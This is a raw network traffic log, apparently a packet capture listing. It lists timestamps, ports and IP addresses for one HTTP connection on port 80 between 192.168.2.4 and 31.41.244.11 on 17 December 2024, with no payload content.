Dec 17, 2024 22:06:38.476912975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.477072001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.477118969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.477914095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.477965117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.478401899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.478445053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.479091883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.479139090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.479221106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.479262114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.480101109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.480148077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.480324984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.480372906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.481081963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.481131077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.617697001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.617741108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.617765903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.617790937 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.618098974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.618365049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.618421078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.619137049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.619188070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.619221926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.619268894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.620022058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.620071888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.620287895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.620354891 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.621134043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.621186972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.621362925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.621409893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.622127056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.622433901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.622484922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.623181105 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.623363972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.623413086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.624259949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.624308109 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.624531984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.624968052 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.625318050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.625375032 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.626101971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.626184940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.626466990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.626530886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.626620054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.626677990 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.627492905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.627619028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.627624035 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.627701044 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.628572941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.628635883 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.628705025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.628813028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.629652977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.629705906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.629750013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.629796028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.630726099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.630774975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.631810904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.631850958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.631870985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.631891966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.631894112 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.631937027 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.632802010 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.633197069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.633258104 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.633850098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.633904934 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.633991003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.634927988 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.634979010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.635494947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.636034012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.636094093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.636142969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.636189938 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.637079000 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.637425900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.637480021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.638149023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.638520002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.638573885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.639271975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.639343023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.639394999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.640392065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.640445948 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.640484095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.640966892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.641449928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.641865969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.641922951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.642560959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.642705917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.642757893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.643544912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.643594980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.643843889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.644745111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.644802094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.644805908 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.644984007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.645600080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.645652056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.645787954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.645838976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.646702051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.646748066 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.647253990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.647304058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.647737980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.647783995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.647919893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.647970915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.648813963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.648871899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.649887085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.649959087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.649996042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.650016069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.650043011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.650969982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.651207924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.651288033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.651984930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.652595043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.652646065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.653094053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.653142929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.653986931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.654153109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.654186964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.654206991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.654238939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.655186892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.655309916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.655380964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.656266928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.656913042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.656965971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.656977892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.657293081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.657345057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.657710075 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.657757998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.658492088 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.658539057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.658647060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.659532070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.659589052 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.659676075 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.660576105 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.660628080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.660706997 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.660753012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.661591053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.661736965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.661788940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.662652969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.662949085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.663002014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.663816929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.663866997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.663939953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.664762020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.664819002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.664884090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.665237904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.665904045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.666022062 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.666084051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.667010069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.667119026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.667186975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.667995930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.668051004 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.668159962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.669069052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.669127941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.669207096 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.669512033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.670130968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.670424938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.670481920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.672068119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.672101974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.672127008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.672152042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.672281981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.672498941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.672580957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.672631025 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.673286915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.673338890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.811424971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.811471939 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.811552048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.811569929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.811769009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.811969995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.811980009 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.812016010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.813002110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.813040018 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.813096046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.814007044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.814064026 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.814181089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.814234018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.815119028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.815154076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.815171003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.815198898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.816066027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.816112995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.816355944 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.816406965 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.817061901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.817121983 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.817404032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.817455053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.818258047 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.818308115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.818783998 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.818835020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.819166899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.819221020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.819539070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.819590092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.820374966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.820425034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.820549965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.820601940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.821413040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.821475029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.821645021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.821696997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.822470903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.822519064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.822597980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.822655916 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.823442936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.823606968 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.823630095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.823678017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.824660063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.824711084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.824836969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.824886084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.825544119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.825597048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.825887918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.825933933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.826719046 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.826771021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.826884031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.826930046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.827945948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.827991009 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.828116894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.828160048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.828836918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.828881979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.829205036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.829252005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.830051899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.830097914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.830220938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.830262899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.830957890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.831002951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.831458092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.831501007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.832185984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.832232952 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.832359076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.832400084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.833112001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.833158970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.833291054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.833336115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.834121943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.834166050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.834317923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.834362984 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.835419893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.835464954 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.835596085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.835639954 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.836296082 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.836339951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.836667061 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.836713076 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.837363958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.837413073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.837538958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.837584972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.837937117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.837980986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.838076115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.838088036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.838124037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.838133097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.838174105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.841403008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.841458082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.841576099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.841619968 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.842469931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.842480898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.842516899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.842858076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.842902899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.843014956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.843058109 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.843919039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.843964100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.844094992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.844249010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.844928980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.844985008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.845108032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.845154047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.845810890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.845849037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.845977068 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.846020937 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.847225904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.847274065 CET	49825	80	192.168.2.4	31.41.244.11
